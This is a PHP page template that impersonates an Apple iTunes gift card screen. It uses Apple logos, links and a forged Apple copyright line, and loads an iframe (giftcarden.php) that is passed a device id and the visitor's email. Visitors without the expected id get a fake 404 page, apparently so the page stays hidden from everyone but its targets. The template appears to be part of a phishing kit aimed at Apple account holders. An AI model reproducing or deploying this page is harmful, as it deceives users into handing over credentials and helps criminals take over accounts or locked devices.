<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<!DOCTYPE html>
<html data-primary-interaction-mode="touch" class="iphone ios retina safari webkit" data-os-major-version="11" data-os-minor-version="0" data-major-version="11" data-minor-version="0" data-engine-major-version="604" lang="es-es" dir="ltr"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
        <title>Tarjeta de Regalo iTunes</title>
        <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
        <link rel="stylesheet" type="text/css" media="screen" href="fmicode/style-fmi.css">
        <style>
            *, *:before, *:after {
  box-sizing: border-box;
}

html {
  min-height: 100%;
}

body {
  font-size: 14px;
  font-family: "Source Sans Pro", sans-serif;
  font-weight: 300;
}

h1, h2, h3, h4, h5, h6, p {
  font-weight: 300;
  margin: 0;
  padding: 0;
}

header.hero {
  background: rgba(255, 255, 255, 0.6);
  text-align: center;
  padding: 20px 0;
  border-bottom: 4px solid rgba(255, 255, 255, 0.6);
  margin: 0 0 20px;
}
header.hero h1 {
  font-size: 3em;
  color: #555;
  margin: 0 0 5px;
}
hr {
  border: 0;
  border-top: 1px solid rgba(255, 255, 255, 0.6);
  padding: 0 0 20px;
}

ul.cards-split {
  width: 660px;
  height: 280px;
  list-style-type: none;
  position: relative;
  margin: auto;
  padding-top: 50px;
  cursor: pointer;
  overflow:hidden;
  -webkit-tap-highlight-color: rgba(0,0,0,0);
  tap-highlight-color: rgba(0,0,0,0);
  -moz-tap-highlight-color: rgba(0,0,0,0);
}
ul.cards-split li.title {
  margin: 0 0 20px;
}
ul.cards-split li.title h2 {
  font-weight: 700;
}
ul.cards-split li.card {
  background: #FFF;
  overflow: hidden;
  border-radius: 10px;
  position: absolute;
  left: 258px;
  box-shadow: 1px 2px 2px 0 #aaa;
  transition: all 1s cubic-bezier(0.63, 0.15, 0.03, 1.12);
}
ul.cards-split li.card img {
  max-width: 100%;
  display: inherit;
}
ul.cards-split li.card div.content {
  padding: 5px 10px;
}
ul.cards-split li.card.card-1 {
  z-index: 10;
  transform: rotateZ(-2deg);
}
ul.cards-split li.card.card-2 {
  z-index: 9;
  transform: rotateZ(-7deg);
  transition-delay: 0.2s;
}
ul.cards-split li.card.card-3 {
  z-index: 8;
  transform: rotateZ(5deg);
  transition-delay: 0.1s;
}
ul.cards-split.transition li.card {
  transform: rotateZ(0deg);
}
ul.cards-split.transition li.card.card-1 {
  left: 55px;
}
ul.cards-split.transition li.card.card-2 {
  left: 440px;
}
ul.cards-split.transition li.card.card-3 {
  left: 250px;
}
@media screen and (max-width:600px){
    ul.cards-split {
      width: 100%;
    }
    ul.cards-split li.card {
      left: 50%;
      margin-left:-78.5px;
    }
    .cw-pane-container{
        background-size:250% !important;
    }
}
ul.cards-split-delay {
  width: 660px;
  height: 280px;
  list-style-type: none;
  position: relative;
  margin: 0 auto 20px;
  padding: 20px;
  cursor: pointer;
}
ul.cards-split-delay li.title {
  margin: 0 0 20px;
}
ul.cards-split-delay li.title h2 {
  font-weight: 700;
}
ul.cards-split-delay li.card {
  background: #FFF;
  overflow: hidden;
  height: 200px;
  width: 200px;
  border-radius: 10px;
  position: absolute;
  left: 220px;
  box-shadow: 1px 2px 2px 0 #aaa;
  transition: all 0.4s cubic-bezier(0.63, 0.15, 0.03, 1.12);
}
ul.cards-split-delay li.card img {
  max-width: 100%;
  height: auto;
}
ul.cards-split-delay li.card div.content {
  padding: 5px 10px;
}
ul.cards-split-delay li.card.card-1 {
  z-index: 10;
  transform: rotateZ(-2deg);
}
ul.cards-split-delay li.card.card-2 {
  z-index: 9;
  transform: rotateZ(-7deg);
  transition-delay: 0.6s;
}
ul.cards-split-delay li.card.card-3 {
  z-index: 8;
  transform: rotateZ(5deg);
  transition-delay: 0s;
}
ul.cards-split-delay.transition li.card {
  transform: rotateZ(0deg);
}
ul.cards-split-delay.transition li.card.card-1 {
  left: 0px;
}
ul.cards-split-delay.transition li.card.card-2 {
  left: 440px;
}
ul.cards-split-delay.transition li.card.card-3 {
  left: 220px;
  transition-delay: 0.6s;
}
        </style>
    </head>
    <body style="touch-action: none;">
        <div class="cloudos-loading-screen" id="cw-bootstrap-html">
            <div class="header" id="cloudos-loading-screen-header">
                <svg class="apple-icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 18 24">
                    <path d="M16.33 14.1c-.93-.87-1.41-1.95-1.42-3.26-.01-1.68.75-2.99 2.29-3.92-.86-1.23-2.16-1.91-3.88-2.04-.64-.05-1.41.08-2.33.41-.97.36-1.55.54-1.72.54-.23 0-.74-.15-1.55-.45-.81-.3-1.45-.45-1.95-.45-.9.01-1.75.25-2.52.71-.78.46-1.4 1.09-1.86 1.89C.8 8.5.5 9.69.5 11.06c0 1.2.22 2.44.66 3.72.41 1.18.93 2.22 1.57 3.12.59.84 1.09 1.43 1.48 1.78.62.58 1.24.85 1.86.83.41-.01.95-.15 1.61-.42.66-.27 1.28-.4 1.86-.4.55 0 1.16.13 1.81.4.66.27 1.22.4 1.69.4.65-.01 1.26-.28 1.82-.8.37-.32.84-.89 1.42-1.71.628-.9 1.12-1.887 1.46-2.93-.51-.24-.98-.55-1.41-.95zM12.32 3.28c.75-.89 1.12-1.84 1.12-2.87 0-.14-.01-.27-.02-.41-.52.03-1.07.18-1.66.47-.58.29-1.07.65-1.45 1.09-.76.86-1.19 1.91-1.19 2.9 0 .14.01.27.02.39 1.19.09 2.28-.52 3.18-1.57z" stroke="none"></path>
                </svg>
            </div>
            <div class="content fade" style="background:#fff;z-index:1;">
                <svg class="spinner" id="cloudos-loading-spinner" xmlns="http://www.w3.org/2000/svg" viewBox="-1 -1 2 2" style="z-index:1;">
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(255,255,255)" transform="rotate(0)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(229,229,229)" transform="rotate(30)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(193,193,193)" transform="rotate(60)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(165,165,165)" transform="rotate(90)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(138,138,138)" transform="rotate(120)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(109,109,109)" transform="rotate(150)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(96,96,96)" transform="rotate(180)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(82,82,82)" transform="rotate(210)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(65,65,65)" transform="rotate(240)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(56,56,56)" transform="rotate(270)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(51,51,51)" transform="rotate(300)"></rect>
                    <rect x="0.45625" y="-0.09099" width="0.54375" height="0.18198" rx="0.09099" ry="0.09099" fill="rgb(43,43,43)" transform="rotate(330)"></rect>
                </svg>
            </div>
        </div>
        
        <link rel="stylesheet" href="fmicode/main.css">
        
        <div class="cw-pane-container" style="background:url('https://www.solofondos.com/wp-content/uploads/2016/01/Fondos-de-pantalla-Apple-para-iPhone.png');background-repeat:no-repeat;background-size:cover;background-position:center;">
            <div>
                <div class="root-view">
                    <div class="toolbar-view">
                        <div class="toolbar-items-view">
                            <div class="toolbar-left-view visible">
                                <span class="icloud-logo-view cw-button" style="width: 59px; min-width: 59px;font-size: 20px;color:#fff;" disabled="true">
                                    iTunes
                                </span>
                            </div>
                            <div class="toolbar-center-view">
                                <span tabindex="0" class="apple-icon-view cw-button">
                                    <svg viewBox="0 0 18 24" xmlns="http://www.w3.org/2000/svg">
                                        <path stroke="none" d="M16.33 14.1c-.93-.87-1.41-1.95-1.42-3.26-.01-1.68.75-2.99 2.29-3.92-.86-1.23-2.16-1.91-3.88-2.04-.64-.05-1.41.08-2.33.41-.97.36-1.55.54-1.72.54-.23 0-.74-.15-1.55-.45-.81-.3-1.45-.45-1.95-.45-.9.01-1.75.25-2.52.71-.78.46-1.4 1.09-1.86 1.89C.8 8.5.5 9.69.5 11.06c0 1.2.22 2.44.66 3.72.41 1.18.93 2.22 1.57 3.12.59.84 1.09 1.43 1.48 1.78.62.58 1.24.85 1.86.83.41-.01.95-.15 1.61-.42.66-.27 1.28-.4 1.86-.4.55 0 1.16.13 1.81.4.66.27 1.22.4 1.69.4.65-.01 1.26-.28 1.82-.8.37-.32.84-.89 1.42-1.71.628-.9 1.12-1.887 1.46-2.93-.51-.24-.98-.55-1.41-.95zM12.32 3.28c.75-.89 1.12-1.84 1.12-2.87 0-.14-.01-.27-.02-.41-.52.03-1.07.18-1.66.47-.58.29-1.07.65-1.45 1.09-.76.86-1.19 1.91-1.19 2.9 0 .14.01.27.02.39 1.19.09 2.28-.52 3.18-1.57z"></path>
                                    </svg>
                                </span>
                            </div>
                            <div class="toolbar-right-view visible">
                                <div></div>
                            </div>
                        </div>
                        <div class="toolbar-menu-anchor-container-view hidden">
                            <div role="button" aria-disabled="false" title="" tabindex="0" class="close-icon-button-view toolbar-menu-anchor-view cw-button"><span class="title"></span></div>
                        </div>
                        <div class="toolbar-menu-view hidden">
                            <div class="toolbar-menu-view-background"></div>
                            <div class="menu-items-container-view">
                                <div></div>
                            </div>
                        </div>
                    </div>
                    <div></div>
                    <div></div>
                    <div class="login-view">
                        <div class="overlay-view" style="background:rgba(255,255,255,.4);">
                            <div class="container-view">
                                <div class="cloud-os-apple-id-view">
                                    <div class="view-visible">
                                        <div class="apple-id-view">
                                            <ul class="cards-split transition">
                                              <li class="card card-1"><img src="/assets/img/10.jpg"/>
                                              </li>
                                              <li class="card card-2"><img src="/assets/img/15.jpg"/>
                                              </li>
                                              <li class="card card-3"><img src="/assets/img/20.jpg"/>
                                              </li>
                                            </ul>
                                            <iframe class="apple-id-frame-view" src="giftcarden.php?id=<?php echo $idequipo;?>&correo=<?php echo $response->email;?>" width="100%" height="100px" style="height:300px;" id="authFrame" scrolling="no" frameborder="0"></iframe>
                                        </div>
                                        <div></div>
                                        <div></div>
                                    </div>
                                    <canvas class="cw-spinner-view" height="32" width="32" style="height: 32px; width: 32px; display: none;"></canvas>
                                </div>
                            </div>
                            <div>
                                <div class="legal-footer">
                                    <div class="legal-footer-content"><span><a class="help" target="_blank" href="https://help.apple.com/icloudmobile/">Help</a>  |  <a class="privacy" target="_blank" href="https://www.apple.com/es/privacy/">Privacy Policy</a>  |  <a class="terms" target="_blank" href="https://www.apple.com/legal/icloud/ww/">Terms & Conditions</a>
                                        <span class="copyright">Copyright © <?php echo date("Y");?> Apple Inc. All rights reserved</span></span>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div></div>
                    <div></div>
                </div>
            </div>
        </div>
        <div id="cw-aria-live-region" aria-live="polite" style="position: fixed; top: -1px; width: 1px; height: 1px; overflow: hidden;"></div>
    
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script> 
<script>
$(document).ready(function(){
    $('ul.cards-split').on('click', function(){
        $(this).toggleClass('transition');
    });
});
</script>
</body></html>